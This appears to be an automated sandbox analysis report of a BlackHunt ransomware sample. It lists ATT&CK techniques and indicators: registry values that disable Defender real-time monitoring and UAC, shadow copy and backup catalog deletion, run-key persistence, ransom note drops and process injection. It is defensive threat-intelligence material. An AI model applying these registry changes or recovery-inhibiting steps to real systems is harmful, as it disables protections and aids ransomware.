6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d

Data Destruction

T1485

pid	Process
3792	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
2576	bcdedit.exe
4792	bcdedit.exe

Renames multiple (1205) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5712	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\N:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\M:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\J:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\P:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\K:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\Q:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\T:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\W:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\B:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\X:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\L:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\I:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\S:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\H:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\V:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\U:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\A:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\G:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\Z:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\R:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened (read-only)	\??\O:	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jre-1.8\bin\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\newgrounds.luac	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sortedby_selected_18.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\[email protected]	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_highcontrast.png	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\cs\LC_MESSAGES\vlc.mo	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Certificates_R.aapp	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\3difr.x3d	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\en-il\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\spectrum_spinner_process.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_RHP.aapp	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\delete.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\adc_logo.png	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightDemiBold.ttf	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\santuario.md	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\selection-actions2x.png	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\splash_11-lic.gif	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\local_policy.jar	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Combine_R_RHP.aapp	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\locales\en-US.pak	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pl-pl\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\de\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\editpdf.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\en-il\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gu\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_BR\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\vlm.html	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\forms_distributed.gif	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\adobe_spinner_mini.gif	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_ellipses-hover.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_invite_18.svg	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\LC_MESSAGES\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_Private.key	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\th\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_ReadMe.txt	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4944	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3824	vssadmin.exe
2880	vssadmin.exe
2176	vssadmin.exe
852	vssadmin.exe
4984	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeRestorePrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeBackupPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeTakeOwnershipPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeAuditPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeSecurityPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeIncBasePriorityPrivilege	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Token: SeBackupPrivilege	1668	vssvc.exe
Token: SeRestorePrivilege	1668	vssvc.exe
Token: SeAuditPrivilege	1668	vssvc.exe
Token: SeBackupPrivilege	948	wbengine.exe
Token: SeRestorePrivilege	948	wbengine.exe
Token: SeSecurityPrivilege	948	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3884 wrote to memory of 1912	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	89
PID 3884 wrote to memory of 1912	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	89
PID 3884 wrote to memory of 3544	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	91
PID 3884 wrote to memory of 3544	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	91
PID 3884 wrote to memory of 4588	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	94
PID 3884 wrote to memory of 4588	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	94
PID 3884 wrote to memory of 2228	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	95
PID 3884 wrote to memory of 2228	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	95
PID 3884 wrote to memory of 4804	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	97
PID 3884 wrote to memory of 4804	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	97
PID 4804 wrote to memory of 1176	4804	cmd.exe	99
PID 4804 wrote to memory of 1176	4804	cmd.exe	99
PID 1912 wrote to memory of 3960	1912	cmd.exe	103
PID 1912 wrote to memory of 3960	1912	cmd.exe	103
PID 3544 wrote to memory of 4532	3544	cmd.exe	104
PID 3544 wrote to memory of 4532	3544	cmd.exe	104
PID 4588 wrote to memory of 3048	4588	cmd.exe	100
PID 4588 wrote to memory of 3048	4588	cmd.exe	100
PID 2228 wrote to memory of 4484	2228	cmd.exe	101
PID 2228 wrote to memory of 4484	2228	cmd.exe	101
PID 3884 wrote to memory of 5052	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	105
PID 3884 wrote to memory of 5052	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	105
PID 3884 wrote to memory of 1968	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	106
PID 3884 wrote to memory of 1968	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	106
PID 3884 wrote to memory of 2704	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	109
PID 3884 wrote to memory of 2704	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	109
PID 3884 wrote to memory of 3176	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	111
PID 3884 wrote to memory of 3176	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	111
PID 3884 wrote to memory of 4080	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	113
PID 3884 wrote to memory of 4080	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	113
PID 3884 wrote to memory of 4696	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	114
PID 3884 wrote to memory of 4696	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	114
PID 3884 wrote to memory of 4904	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	117
PID 3884 wrote to memory of 4904	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	117
PID 3884 wrote to memory of 2880	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	119
PID 3884 wrote to memory of 2880	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	119
PID 3884 wrote to memory of 1636	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	121
PID 3884 wrote to memory of 1636	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	121
PID 1968 wrote to memory of 2304	1968	cmd.exe	122
PID 1968 wrote to memory of 2304	1968	cmd.exe	122
PID 5052 wrote to memory of 1548	5052	cmd.exe	123
PID 5052 wrote to memory of 1548	5052	cmd.exe	123
PID 2704 wrote to memory of 1884	2704	cmd.exe	130
PID 2704 wrote to memory of 1884	2704	cmd.exe	130
PID 3884 wrote to memory of 852	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	125
PID 3884 wrote to memory of 852	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	125
PID 4080 wrote to memory of 3376	4080	cmd.exe	129
PID 4080 wrote to memory of 3376	4080	cmd.exe	129
PID 4696 wrote to memory of 4832	4696	cmd.exe	127
PID 4696 wrote to memory of 4832	4696	cmd.exe	127
PID 4904 wrote to memory of 1724	4904	cmd.exe	131
PID 4904 wrote to memory of 1724	4904	cmd.exe	131
PID 3176 wrote to memory of 556	3176	cmd.exe	128
PID 3176 wrote to memory of 556	3176	cmd.exe	128
PID 3884 wrote to memory of 3640	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	132
PID 3884 wrote to memory of 3640	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	132
PID 2880 wrote to memory of 1772	2880	cmd.exe	133
PID 2880 wrote to memory of 1772	2880	cmd.exe	133
PID 1636 wrote to memory of 2320	1636	cmd.exe	135
PID 1636 wrote to memory of 2320	1636	cmd.exe	135
PID 3884 wrote to memory of 4692	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	137
PID 3884 wrote to memory of 4692	3884	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe	137
PID 852 wrote to memory of 3016	852	cmd.exe	138
PID 852 wrote to memory of 3016	852	cmd.exe	138

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	6cb7ce37c443aded293950fceb6c92c2164b250e68586d4e3989c795ba3d849d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

